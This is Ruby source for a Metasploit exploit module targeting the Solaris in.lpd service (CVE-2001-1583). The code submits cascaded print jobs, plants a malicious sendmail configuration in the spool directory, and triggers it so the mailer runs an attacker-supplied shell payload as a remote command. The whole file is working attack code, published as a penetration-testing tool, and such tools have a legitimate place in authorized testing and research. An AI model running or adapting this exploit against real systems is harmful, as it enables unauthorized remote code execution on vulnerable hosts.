## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'English' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( update_info( info, 'Name' => 'Solaris LPD Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution flaw in the in.lpd service shipped with all versions of Sun Solaris up to and including 8.0. This module uses a technique discovered by Dino Dai Zovi to exploit the flaw without needing to know the resolved name of the attacking system. }, 'Author' => [ 'hdm', 'ddz' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2001-1583'], ['OSVDB', '15131'], ['BID', '3274'], ], 'Platform' => %w[solaris unix], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8192, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet' } }, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2001-08-31', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ Opt::RPORT(515) ]) end def exploit # This is the temporary path created in the spool directory spath = '/var/spool/print' # The job ID is squashed down to three decimal digits jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] # The control file control = 'H' + "metasploit\n" \ 'P' + '\"-C' + spath + '/' + jid + "mail.cf\\\" nobody\n" \ 'f' + 'dfA' + jid + "config\n" \ 'f' + 'dfA' + jid + "script\n" # The mail configuration file mailcf = "V8\n" \ "\n" \ "Ou0\n" \ "Og0\n" \ "OL0\n" \ "Oeq\n" \ "OQX/tmp\n" \ "\n" \ "FX|/bin/sh #{spath}/#{jid}script\n" \ "\n" \ "S3\n" \ "S0\n" \ "R\+ #local \\@blah :blah\n" \ "S1\n" \ "S2\n" \ "S4\n" \ "S5\n" \ "\n" \ "Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n" \ "Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n" # Establish the first connection to the server sock1 = connect(false) # Request a cascaded job sock1.put("\x02metasploit:framework\n") res = sock1.get_once if !res print_status('The target did not accept our job request command') return end print_status('Configuring the spool directory...') if !( send_file(sock1, 2, 'cfA' + jid + 'metasploit', control) && send_file(sock1, 3, jid + 'mail.cf', mailcf) && send_file(sock1, 3, jid + 'script', payload.encoded) ) sock1.close return end # Establish the second connection to the server sock2 = connect(false) # Request another cascaded job sock2.put("\x02localhost:metasploit\n") res = sock2.get_once if !res print_status('The target did not accept our second job request command') return end print_status('Attempting to trigger the vulnerable call to the mail program...') if !( send_file(sock2, 2, 'cfA' + jid + 'metasploit', control) && send_file(sock2, 3, 'dfa' + jid + 'config', mailcf) ) sock1.close sock2.close return end sock1.close sock2.close print_status('Waiting up to 60 seconds for the payload to execute...') select(nil, nil, nil, 60) handler end def send_file(socket, type, name, data = '') socket.put(type.chr + "#{data.length} #{name}\n") res = socket.get_once(1) if !(res && (res[0, 1] == "\x00")) print_status("The target did not accept our control file command (#{name})") return end socket.put(data) socket.put("\x00") res = socket.get_once(1) if !(res && (res[0, 1] == "\x00")) print_status("The target did not accept our control file data (#{name})") return end print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length)) return true end end